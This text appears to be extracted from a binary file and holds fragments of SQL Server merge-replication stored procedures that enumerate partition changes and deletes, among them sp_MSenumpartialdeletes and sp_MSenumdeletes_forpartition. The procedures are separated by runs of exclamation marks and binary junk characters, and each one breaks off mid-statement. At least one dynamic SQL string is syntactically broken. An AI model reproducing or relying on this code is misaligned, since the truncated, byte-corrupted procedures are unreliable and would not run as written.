            on mgh.generation >= @genstart 
            and mgh.generation > @mingen_to_enumerate
            and mgh.generation <= @maxgen_to_enumerate
            and mgh.art_nick in 
            (
                select sma.nickname 
                from dbo.sysmergearticles sma with (nolock)
                where pubid = @pubid  
                
                UNION ALL
                
                select 0 where mgh.genstatus = 1 or mgh.pubid in (select pubid from sysmergearticles where artid in (select artid from sysmergearticles where pubid=@pubid)) 
            )
            and mgh.generation = gpm.generation
            and mgh.genstatus in (1,2)
                    
            UNION ALL       -- use UNION ALL instead of UNION for perf reasons. Merge agent code will skip dupes. Will only have max 2 dupes.

            /* don't enumerate next possible watermark for partition groups
            select generation = @next_possible_watermark, guidsrc = @next_possible_watermark_guidsrc,
                art_nick = @next_possible_watermark_art_nick, genstatus = @next_possible_watermark_genstatus,
                pubid = @next_possible_watermark_pubid, nicknames = @next_possible_watermark_nicknames,
                okaytoskip = 0, changecount = @next_possible_watermark_changecount  
            where @next_possible_watermark is not null
            
            UNION ALL       -- use UNION ALL instead of UNION for perf reasons. Merge agent code will skip dupes. Will only have max 2 dupes.
            */
            
            select generation = @min_open_gen, guidsrc= @min_open_gen_guid, art_nick=@min_open_gen_art_nick, genstatus=@min_open_gen_status, 
                        pubid=@pubid, nicknames=NULL, okaytoskip = 0, changecount=0
            where @min_open_gen is not null
            
        )as generations
        order by generation, genstatus ASC
        
    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(37svL-- If the default parameters change, make sure to adjust the corresponding values in OSQL_Q_ENUMPARTIALDELETES_90.
create procedure sys.sp_MSenumpartialdeletes
    (@maxrows int,
     @tablenick int,
     @rowguid uniqueidentifier,
     @tablenotbelongs nvarchar(255),
     @bookmark int = NULL,
     @specified_article_only int = 0,
     @compatlevel int = 10, -- backward compatibility level, default=Sphinx
     @pubid uniqueidentifier = NULL,
     @enumentirerowmetadata bit= 1)
as
    declare @tnstring       nvarchar(12)
    declare @lowrangestr    nvarchar(12) 
    declare @highrangestr   nvarchar(12) 
    declare @pubidstr        varchar(40)
    declare @last_art_processing_order int
    declare @last_art_processing_order_str varchar(12)
    declare @rowguid_clause nvarchar(100)

    /*
    ** do permission checking
    */
    declare @retcode             int
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    declare @selecttop nvarchar(50)
    if (@maxrows = 0)
        set @selecttop= 'select'
    else
        set @selecttop= 'select top ' + cast(@maxrows as nvarchar(9)) 

    declare @metadatacol nvarchar(200)
    declare @metadatacol2 nvarchar(200)

    if 0 = @enumentirerowmetadata
    begin
        if 1 > @tablenick or 0 = @specified_article_only
        begin
            set @metadatacol= 'sys.fn_MSgeneration_downloadonly(generation, tablenick), sys.fn_MSvector_downloadonly(lineage, tablenick)'
            set @metadatacol2= 'sys.fn_MSgeneration_downloadonly(t.generation, tablenick), sys.fn_MSvector_downloadonly(lineage, tablenick)'
        end
        else
        begin
            set @metadatacol= 'null, null'
            set @metadatacol2= 'null, null'
        end
    end
    else if @compatlevel >= 90
    begin
        set @metadatacol= 'coalesce(generation, 0), lineage'
        set @metadatacol2= 'coalesce(t.generation, 0), lineage'
    end
    else
    begin
        set @metadatacol= 'coalesce(generation, 0), {fn LINEAGE_90_TO_80(lineage)}'
        set @metadatacol2= 'coalesce(t.generation, 0), {fn LINEAGE_90_TO_80(lineage)}'
    end

    if @pubid is not null
    begin
        select @pubidstr = '''' + convert(varchar(36), @pubid) + ''''
        if @tablenick > 0
        begin
            exec sys.sp_MSget_article_processing_order @tablenick, @pubid, @last_art_processing_order output
            select @last_art_processing_order_str = convert(varchar(12), @last_art_processing_order)
        end
    end


    if (@tablenick < 1)
    begin
        if @pubid is null
            execute (@selecttop + ' tablenick, rowguid, ' + @metadatacol + ', type, bookmark from ' + @tablenotbelongs + '
                    order by tablenick desc, rowguid asc' )
        else
            execute (@selecttop + ' t.tablenick, t.rowguid, ' + @metadatacol2 + ', t.type, t.bookmark 
                    from ' + @tablenotbelongs + ' t, dbo.sysmergearticles sma
                    where t.tablenick = sma.nickname
                    and sma.pubid = ' + @pubidstr + '
                    order by sma.processing_order desc, t.tablenick desc, t.rowguid asc' )
        IF @@ERROR <>0 
        begin
            return (1)  
        end

    end
    else 
    begin
        set @tnstring = convert(nchar, @tablenick)
        if @rowguid is NULL or @rowguid = '00000000-0000-0000-0000-000000000000'
            select @rowguid_clause = ' '
        else
            select @rowguid_clause = ' and rowguid > ''' + convert(nchar(36), @rowguid) + ''' '

        /* 
        ** If a 7.0 SP1 Merge agent is calling this sp, it passed a valid bookmark parameter 
        ** Use the bookmark column in the ##belongs_<> table to retrieve the next batch of rows
        */
        if @bookmark is NOT NULL 
        begin
            set @lowrangestr = convert(nchar, @bookmark)
            set @highrangestr = convert(nchar, (@bookmark + @maxrows))

            if (@specified_article_only = 1)
            begin
                -- don't rely on @highrangestr since it will be equal to @lowrangestr if @maxrows=0.
                execute (@selecttop + ' tablenick, rowguid, ' + @metadatacol + ', type, bookmark from ' + @tablenotbelongs + '
                            where  tablenick = ' + @tnstring + ' and 
                            bookmark > ' + @lowrangestr + ' 
                            order by tablenick, rowguid' )

                if @@ERROR<>0
                begin
                    return (1)
                end                     


            end
            else
            begin
                if @pubid is null
                    execute ('select tablenick, rowguid, ' + @metadatacol + ', type, bookmark from ' + @tablenotbelongs + '
                            where  ((tablenick = ' + @tnstring + ' and 
                            bookmark > ' + @lowrangestr + ' and bookmark <= ' + @highrangestr + ') or
                            tablenick < ' + @tnstring + ') 
                            order by tablenick desc, rowguid asc' )
                else
                    execute ('select t.tablenick, t.rowguid, ' + @metadatacol2 + ', t.type, t.bookmark 
                            from ' + @tablenotbelongs + ' t, dbo.sysmergearticles sma
                            where t.tablenick = sma.nickname
                            and sma.pubid = ' + @pubidstr + '
                            and
                            (
                                (t.tablenick = ' + @tnstring + ' and t.bookmark > ' + @lowrangestr + ' and t.bookmark <= ' + @highrangestr + ') or
                                (sma.processing_order = ' + @last_art_processing_order_str + ' and t.tablenick < ' + @tnstring + ')  or
                                sma.processing_order < ' + @last_art_processing_order_str + '
                            )
                            order by sma.processing_order desc, t.tablenick desc, t.rowguid asc' )

                if @@ERROR<>0
                begin
                    return (1)
                end                     

            end
        end

        /* 
        ** Backward compatibilty mode : If a 7.0 Merge agent is calling this sp, it will pass a NULL bookmark parameter 
        ** Use the rowguid and set rowcount to retrieve the next batch of rows
        */
        else
        begin
            if (@specified_article_only = 1)
            begin
                execute (@selecttop + ' tablenick, rowguid, ' + @metadatacol + ', type from ' + @tablenotbelongs + '
                            where  tablenick = ' + @tnstring + @rowguid_clause + '
                            order by tablenick, rowguid' )
                IF @@ERROR <>0 
                begin
                    return (1)  
                end

            end
            else
            begin
                if @pubid is null
                    execute (@selecttop + ' tablenick, rowguid, ' + @metadatacol + ', type from ' + @tablenotbelongs + '
                            where  ((tablenick = ' + @tnstring + @rowguid_clause + ') or tablenick < ' + @tnstring + ') 
                            order by tablenick desc, rowguid asc' )
                else
                    execute (@selecttop + ' t.tablenick, t.rowguid, ' + @metadatacol2 + ', t.type 
                            from ' + @tablenotbelongs + ' t, dbo.sysmergearticles sma
                            where t.tablenick = sma.nickname
                            and sma.pubid = ' + @pubidstr + '
                            and
                            (
                                (tablenick = ' + @tnstring + @rowguid_clause + ') or 
                                (sma.processing_order = ' + @last_art_processing_order_str + ' and t.tablenick < ' + @tnstring + ')  or
                                sma.processin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/"Bv7)create procedure sys.sp_MSenumchanges_notbelongtopartition
(
    @partition_id int = 0,
    @maxrows int = 0, 
    @genlist varchar(8000) = NULL, 
    @tablenick int = 0, 
    @rowguid uniqueidentifier = '00000000-0000-0000-0000-000000000000', 
    @pubid uniqueidentifier = '00000000-0000-0000-0000-000000000000',
    @mingen bigint = 0, 
    @maxgen bigint = 0,
    @enumentirerowmetadata bit= 1
)
as
    declare @generation_clause nvarchar(max)
    declare @generation_declare_list nvarchar(max)
    declare @generation_select_list nvarchar(max)
    declare @generation_union_list nvarchar(max)  
    declare @genlist_innerjoin_clause nvarchar(max)
    declare @command    nvarchar(max)  
    declare @selecttop  nvarchar(50)
    declare @last_art_processing_order int
    declare @metadatacols nvarchar(200)
    declare @retcode int
    declare @dbname nvarchar(258)
    declare @publication_number smallint
    declare @allow_partition_realignment bit
    declare @cpm_rowguid_clause nvarchar(100)
    declare @pcpm_rowguid_clause nvarchar(100)
    declare @mc_rowguid_clause nvarchar(100)
    declare @orderby_clause nvarchar(200)


    -- Security Checking 
    -- PAL user has access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick, @partition_id = @partition_id
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    select top 1 @publication_number = publication_number, @allow_partition_realignment = allow_partition_realignment 
        from dbo.sysmergepublications where pubid = @pubid

    exec sys.sp_MSmerge_parsegenlist @genlist, @generation_declare_list output, @generation_select_list output, @generation_union_list output    

    select @generation_clause = N' '    
    select @genlist_innerjoin_clause = N' '

    select @dbname = quotename(db_name())

    select @command = @generation_declare_list + @generation_select_list
    
    if (@maxrows = 0)
    begin
        set @selecttop= N' 
    select'
        set @orderby_clause = N' order by sma.processing_order desc, mc.tablenick desc' 
    end
    else
    begin
        set @selecttop= N'	
    select top ' + cast(@maxrows as nvarchar(9)) 
        set @orderby_clause = N' order by sma.processing_order desc, mc.tablenick desc, mc.rowguid asc' 
    end

    if 1 = @enumentirerowmetadata
        set @metadatacols= N'pcpm.generation, mc.lineage'
    else
        set @metadatacols= N'sys.fn_MSgeneration_downloadonly(pcpm.generation, mc.tablenick), sys.fn_MSvector_downloadonly(mc.lineage, mc.tablenick)'
    
    if @rowguid is NULL or @rowguid = '00000000-0000-0000-0000-000000000000'
    begin
        select @cpm_rowguid_clause = N' '
        select @pcpm_rowguid_clause = N' '
        select @mc_rowguid_clause = N' '
    end
    else
    begin
        select @cpm_rowguid_clause = N' and cpm.rowguid > @rowguid '
        select @pcpm_rowguid_clause = N' and pcpm.rowguid > @rowguid '
        select @mc_rowguid_clause = N' and mc.rowguid > @rowguid '
    end

    if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
    begin
        
        if (@maxgen = 0)
        begin
                            
            select @genlist_innerjoin_clause = N'
            inner join ( ' + @generation_union_list + '                                  
            ) as genlist
            on pcpm.generation = genlist.gen
            and genlist.gen is not NULL'
        
        end
        else if @mingen = @maxgen
        begin
            select @generation_clause = N' and pcpm.generation = @mingen '
        end
        else
        begin
            select @generation_clause = N' and pcpm.generation >= @mingen and pcpm.generation <= @maxgen '               
            select @genlist_innerjoin_clause = N'
            inner join ( ' + @generation_union_list + '                     
            ) as genlist
            on pcpm.generation = genlist.gen
            and genlist.gen is not NULL'                
        end
           
        if @tablenick = 0
        begin
            select @command = @command + @selecttop + N' mc.tablenick, mc.rowguid, pcpm.generation, mc.lineage, 5
                        from ' + @dbname + N'.[dbo].[MSmerge_contents] mc
                            inner join ' + @dbname + N'.[dbo].[sysmergearticles] sma 
                                    on mc.tablenick = sma.nickname and
                                       sma.pubid = @pubid ' + @mc_rowguid_clause + '
                            inner join ' + @dbname + N'.[dbo].[MSmerge_past_partition_mappings] pcpm 
                                    on pcpm.tablenick = mc.tablenick and 
                                       pcpm.rowguid = mc.rowguid and 
                                       (
                                           (pcpm.partition_id = @partition_id and pcpm.publication_number = @publication_number) or
                                           (pcpm.partition_id = @partition_id and pcpm.publication_number = 0) or
                                           (pcpm.partition_id = -1 and pcpm.publication_number = @publication_number) or
                        (pcpm.partition_id = -1 and pcpm.publication_number = 0))
                        ' + @generation_clause + 
                        @pcpm_rowguid_clause + N'
                        ' + @genlist_innerjoin_clause + N'
                        -- use the left outer join to find what partition changes need to enumerated as deletes (yiche)
                            left outer join ' + @dbname + N'.[dbo].[MSmerge_current_partition_mappings] cpm 
                                on cpm.tablenick = pcpm.tablenick and 
                                   cpm.rowguid = pcpm.rowguid and 
                                   (
                                         (cpm.partition_id = @partition_id and cpm.publication_number = @publication_number) or
                                         (cpm.partition_id = @partition_id and cpm.publication_number = 0) or
                                         (cpm.partition_id = -1 and cpm.publication_number = @publication_number) or
                                         (cpm.partition_id = -1 and cpm.publication_number = 0)
                                   )
                        where cpm.rowguid is NULL '
            if (@allow_partition_realignment = 0)
            begin
                select @command = @command + N' and pcpm.reason = 1'
            end

            select @command = @command + @orderby_clause
        end
        else
        begin
            exec sys.sp_MSget_article_processing_order @tablenick, @pubid, @last_art_processing_order output

            select @command = @command + @selecttop + N' mc.tablenick, mc.rowguid, pcpm.generation, mc.lineage, 5
                        from ' + @dbname + N'.[dbo].[MSmerge_contents] mc
                            inner join ' + @dbname + N'.[dbo].[sysmergearticles] sma 
                                on mc.tablenick = sma.nickname and 
                                   sma.pubid = @pubid
                                   and 
                                    ( 
                                        (mc.tablenick = @tablenick ' + @mc_rowguid_clause + N' ) or 
                        				(sma.processing_order = @last_art_processing_order and mc.tablenick < @tablenick) or
                        				sma.processing_order < @last_art_processing_order
                                    )
                            and
                            inner join ' + @dbname + N'.[dbo].[MSmerge_past_partition_mappings] pcpm 
                                on pcpm.tablenick = mc.tablenick and 
                                   pcpm.rowguid = mc.rowguid and 
                                   (
                                           (pcpm.partition_id = @partition_id and pcpm.publication_number =!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(WrvZcreate procedure sys.sp_MSenumdeletes_forpartition
(
    @partition_id int = 0,
    @maxrows int = 0, 
    @genlist varchar(8000) = NULL, 
    @tablenick int = 0, 
    @rowguid uniqueidentifier = '00000000-0000-0000-0000-000000000000', 
    @pubid uniqueidentifier = '00000000-0000-0000-0000-000000000000',
    @mingen bigint = 0, 
    @maxgen bigint = 0,
    @enumentirerowmetadata bit= 1
)
as
    declare @generation_clause nvarchar(max)    
    declare @generation_declare_list nvarchar(max)
    declare @generation_select_list nvarchar(max)
    declare @generation_union_list nvarchar(max)  
    declare @genlist_innerjoin_clause nvarchar(max)
    declare @ts_gen_clause nvarchar(max)
    declare @command    nvarchar(max)  
    declare @selecttop  nvarchar(50)
    declare @last_art_processing_order int
    declare @metadatacols nvarchar(200)
    declare @retcode int
    declare @dbname nvarchar(258)
    declare @allow_partition_realignment bit
    declare @ts_rowguid_clause nvarchar(100)
    declare @pcpm_rowguid_clause nvarchar(100)
    declare @logical_record_clause nvarchar(400)
    declare @publication_number smallint
    declare @orderby_clause nvarchar(200)

    
    -- Security Checking 
    -- PAL user has access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick, @partition_id = @partition_id
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    exec sys.sp_MSmerge_parsegenlist @genlist, @generation_declare_list output, @generation_select_list output, @generation_union_list output    
	
    select @dbname = quotename(db_name())
    
    select @generation_clause = N' '
    select @ts_gen_clause = N' '
    select @genlist_innerjoin_clause = N' '
    
    select @command = @generation_declare_list + @generation_select_list

    if (@maxrows = 0)
    begin
        set @selecttop= N' 
    select distinct '
        set @orderby_clause = N' order by sma.processing_order desc, ts.tablenick desc' 
        end
    else
    begin
        set @selecttop= N' 
    select distinct top ' + cast(@maxrows as nvarchar(9)) 
        set @orderby_clause = N' order by sma.processing_order desc, ts.tablenick desc, ts.rowguid asc' 
    end

    if 1 = @enumentirerowmetadata
        set @metadatacols= N'pcpm.generation, ts.lineage'
    else
        set @metadatacols= N'sys.fn_MSgeneration_downloadonly(pcpm.generation, ts.tablenick), sys.fn_MSvector_downloadonly(ts.lineage, ts.tablenick)'
    
   if @rowguid is NULL or @rowguid = '00000000-0000-0000-0000-000000000000'
    begin
        select @ts_rowguid_clause = N' '
        select @pcpm_rowguid_clause = N' '
    end
    else
    begin
        select @pcpm_rowguid_clause = N' and pcpm.rowguid > @rowguid '
        select @ts_rowguid_clause = N' and ts.rowguid > @rowguid '
    end

    select top 1 @publication_number = publication_number,
        @allow_partition_realignment=allow_partition_realignment from dbo.sysmergepublications where pubid = @pubid

    if exists (select 1 from dbo.sysmergepartitioninfoview where logical_record_view is not NULL)
        select @logical_record_clause = N'
                        and (ts.tablenick in 
                                (select nickname from dbo.sysmergepartitioninfoview where pubid = @pubid
                                and logical_record_view is null)
                                or
                                ts.logical_record_parent_rowguid is null
                                )'
    else 
        select @logical_record_clause = N''
    
    if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
    begin    
        if (@maxgen = 0)
        begin                
                select @ts_gen_clause = N' '
                select @genlist_innerjoin_clause = N'
                inner join ( ' + @generation_union_list + '  
                ) as genlist
                  on pcpm.generation = genlist.gen
                  and genlist.gen is not NULL'
        end
        else if @mingen = @maxgen
        begin
                select @generation_clause = N' and pcpm.generation = @mingen '
                select @ts_gen_clause = N' and ts.generation = @mingen '
        end
        else
        begin            
                select @generation_clause = N' and pcpm.generation >= @mingen and pcpm.generation <= @maxgen '
                select @ts_gen_clause = N' and ts.generation >= @mingen and ts.generation <= @maxgen '
                select @genlist_innerjoin_clause = N'
                inner join ( ' + @generation_union_list + '                      
                ) as genlist
                  on pcpm.generation = genlist.gen
                  and genlist.gen is not NULL'                
        end
                
        if @tablenick = 0
        begin
            -- the processing order in the select is not needed. It is only being selected so that we can use distict
            select @command = @command + @selecttop + N' ts.tablenick, ts.rowguid, pcpm.generation, ts.lineage, ts.type, sma.processing_order
                        from ' + @dbname + N'.[dbo].[MSmerge_tombstone] ts
                            inner join ' + @dbname + N'.[dbo].[sysmergearticles] sma 
                                on ts.tablenick = sma.nickname ' + @ts_rowguid_clause + N'
                            inner join ' + @dbname + N'.[dbo].[MSmerge_past_partition_mappings] pcpm 
                                on pcpm.tablenick = ts.tablenick and pcpm.rowguid = ts.rowguid ' + @pcpm_rowguid_clause + N'
                        ' + @generation_clause + @ts_gen_clause + N'
                        and sma.pubid = @pubid
                        and 
                        (
                            (pcpm.partition_id = @partition_id and pcpm.publication_number = @publication_number) or
                            (pcpm.partition_id = @partition_id and pcpm.publication_number = 0) or
                            (pcpm.partition_id = -1 and pcpm.publication_number = @publication_number) or
                            (pcpm.partition_id = -1 and pcpm.publication_number = 0)
                        ) '
                        + @logical_record_clause
            if (@allow_partition_realignment = 0)
            begin
                    select @command = @command + N' and pcpm.reason = 1'
            end
            select @command = @command + N'
                        ' + @genlist_innerjoin_clause
            select @command = @command + @orderby_clause
        end
        else
        begin
            exec sys.sp_MSget_article_processing_order @tablenick, @pubid, @last_art_processing_order output

            -- the processing order in the select is not needed. It is only being selected so that we can use distict
            select @command = @command + @selecttop + N' ts.tablenick, ts.rowguid, pcpm.generation, ts.lineage, ts.type, sma.processing_order
                        from ' + @dbname + N'.[dbo].[MSmerge_tombstone] ts
                            inner join ' + @dbname + N'.[dbo].[sysmergearticles] sma on ts.tablenick = sma.nickname 
                            inner join ' + @dbname + N'.[dbo].[MSmerge_past_partition_mappings] pcpm 
                                on pcpm.tablenick = ts.tablenick and pcpm.rowguid = ts.rowguid
                        ' + @generation_clause + @ts_gen_clause + N'
                        and 
                        ( 
                            (ts.tablenick = @tablenick' + @ts_rowguid_clause + N') or 
                            (sma.processing_order = @last_art_processing_order and ts.tablenick < @tablenick) or
                            sma.processing_order < @last_art_processing_order
                        )
                        and sma.pubid = @pubid
                        and
                        (
                            (pcpm.partition_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;75%v9&create procedure sys.sp_MSenumchanges_belongtopartition
(
    @partition_id int = 0,
    @maxrows int = 0, 
    @genlist varchar(8000) = NULL, 
    @tablenick int = 0, 
    @rowguid uniqueidentifier = '00000000-0000-0000-0000-000000000000', 
    @pubid uniqueidentifier = '00000000-0000-0000-0000-000000000000',
    @mingen bigint = 0, 
    @maxgen bigint = 0,
    @enumentirerowmetadata bit= 1,
    @blob_cols_at_the_end   bit = 0,
    @maxschemaguidforarticle uniqueidentifier = NULL) 
as
    declare @generation_clause nvarchar(max)
    declare @generation_declare_list nvarchar(max)
    declare @generation_select_list nvarchar(max)
    declare @generation_union_list nvarchar(max)      
    declare @contents2_innerjoin_clause nvarchar(max)
    declare @genlist_innerjoin_clause nvarchar(max)
    declare @qualified_repl_view_name nvarchar(776) -- 258*3 + 2 for '.'
    declare @command    nvarchar(max)  
    declare @column_list nvarchar(max)
    declare @column_list_blob nvarchar(max)
    declare @objid int
    declare @selecttop nvarchar(50)
    declare @retcode int
    declare @dbname nvarchar(258)
    declare @cpm_rowguid_clause nvarchar(100)
    declare @mc_rowguid_clause nvarchar(100)
    declare @currentmaxschemaguidforarticle uniqueidentifier
    declare @artid uniqueidentifier
    declare @inner_orderby_clause nvarchar(100)
    declare @outer_orderby_clause nvarchar(100)

  
    -- Security Checking 
    -- PAL user has access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick, @partition_id = @partition_id
    if (@retcode <> 0) or (@@error <> 0)
        return 1
	
    select @dbname = quotename(db_name())

    select @artid = artid from dbo.sysmergearticles where nickname = @tablenick

    exec sys.sp_MSmerge_parsegenlist @genlist, @generation_declare_list output, @generation_select_list output, @generation_union_list output    
    
    select @generation_clause = N' '    
    select @contents2_innerjoin_clause = N' '
    select @genlist_innerjoin_clause = N' '
    
    select @command = @generation_declare_list + @generation_select_list

    if (@maxrows = 0)
    begin
        set @selecttop= N' select distinct '
        set @inner_orderby_clause = N''
        set @outer_orderby_clause = N''
    end
    else
    begin
        set @selecttop= N' select distinct top ' + cast(@maxrows as nvarchar(9)) 
        set @inner_orderby_clause = N' order by mc.tablenick, mc.rowguid '
        set @outer_orderby_clause = N' order by t.rowguidcol '
    end
    
    select @qualified_repl_view_name = @dbname + N'.' + 
        (select quotename(SCHEMA_NAME(o.schema_id)) from sys.objects o where o.object_id = v.repl_view_id) + N'.' +
            quotename(object_name(v.repl_view_id)), 
        @column_list = v.column_list,
        @column_list_blob = v.column_list_blob,
        @objid = objid
    from dbo.sysmergepartitioninfoview v
    where v.nickname = @tablenick 
    and v.pubid = @pubid
    
    -- Use the column list with blob columns in the end if the blob_cols_at_the_end is 1
    if @blob_cols_at_the_end = 1
        select @column_list = @column_list_blob
        
    declare @publication_number smallint
    select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid

    declare @metadatacolumns nvarchar(100)
    if 1=@enumentirerowmetadata
    begin
        set @metadatacolumns= 'mc.generation as generation, mc2.lineage as lineage, mc2.colv1 as colv '
        -- since columns lineage and colv1 are not in covering in index, add a 2nd join with contents to force reordering of joins and 
        -- avoid base table lookup for these two columns
        set @contents2_innerjoin_clause = '
            inner join ' + @dbname + N'.[dbo].[MSmerge_contents] mc2
            on mc2.tablenick = mc.tablenick
            and mc2.rowguid = mc.rowguid'
    end	
    else
        set @metadatacolumns= 'mc.generation as generation, null as lineage, null as colv '

    if @rowguid is NULL or @rowguid = '00000000-0000-0000-0000-000000000000'
    begin
        select @cpm_rowguid_clause = ' '
        select @mc_rowguid_clause = ' '
    end
    else
    begin
        select @cpm_rowguid_clause = ' and cpm.rowguid > @rowguid '
        select @mc_rowguid_clause = ' and mc.rowguid > @rowguid '
    end

    if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
    begin           
        if (@maxgen = 0)
        begin             
                select @genlist_innerjoin_clause = N'
                inner join ( ' + @generation_union_list + '        
                ) as genlist
                  on genlist.gen = mc.generation
                  and genlist.gen is not NULL'
        end
        else if @mingen = @maxgen
                select @generation_clause = N' mc.generation = @mingen and '
        else
        begin
                select @generation_clause = N' mc.generation >= @mingen and mc.generation <= @maxgen and '
                select @genlist_innerjoin_clause = N'
                inner join ( ' + @generation_union_list + '                     
                ) as genlist
                    on mc.generation = genlist.gen
                    and genlist.gen is not NULL'
        end
        
        select @command = @command + ' 
		select rows.tablenick, rows.rowguid, rows.generation, rows.lineage, rows.colv, ' + @column_list + N'
        from (
                ' + @selecttop + N' mc.tablenick as tablenick, mc.rowguid as rowguid, ' + @metadatacolumns + N'
                                from ' + @dbname + N'.[dbo].[MSmerge_contents] mc
                                        inner join ' + @dbname + N'.[dbo].[MSmerge_current_partition_mappings] cpm 
                                        on cpm.tablenick = mc.tablenick 
                                        and cpm.rowguid = mc.rowguid 
                                        and cpm.tablenick = @tablenick
                                        and mc.tablenick = @tablenick
                                        ' + @contents2_innerjoin_clause + N'
                                        ' + @genlist_innerjoin_clause + N'
                                where ' + @generation_clause + N'
                                mc.tablenick = @tablenick
                                and cpm.tablenick = @tablenick'
                                + @mc_rowguid_clause + @cpm_rowguid_clause + N'
                                and 
                                (
                                        (cpm.partition_id = @partition_id and cpm.publication_number = @publication_number) or
                                        (cpm.partition_id = @partition_id and cpm.publication_number = 0) or
                                        (cpm.partition_id = -1 and cpm.publication_number = @publication_number) or
                                        (cpm.partition_id = -1 and cpm.publication_number = 0)
                                )
                        ' + @inner_orderby_clause + N'
                ) as rows
                inner join ' + @qualified_repl_view_name + N' t on t.rowguidcol = rows.rowguid
                ' + @outer_orderby_clause 

        select @currentmaxschemaguidforarticle = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)

        /* At the publisher, if the max schema guid for article has changed and is different from the agent's schema version for article raise error */
        if ((sys.fn_MSmerge_islocalpubid(@pubid) = 1) and (@maxschemaguidforarticle IS NOT NULL) and (@currentmaxschemaguidforarticle <> @maxschemaguidforarticle))
        begin
            RAISERROR (25007, 11, -1)
            return 5
        end

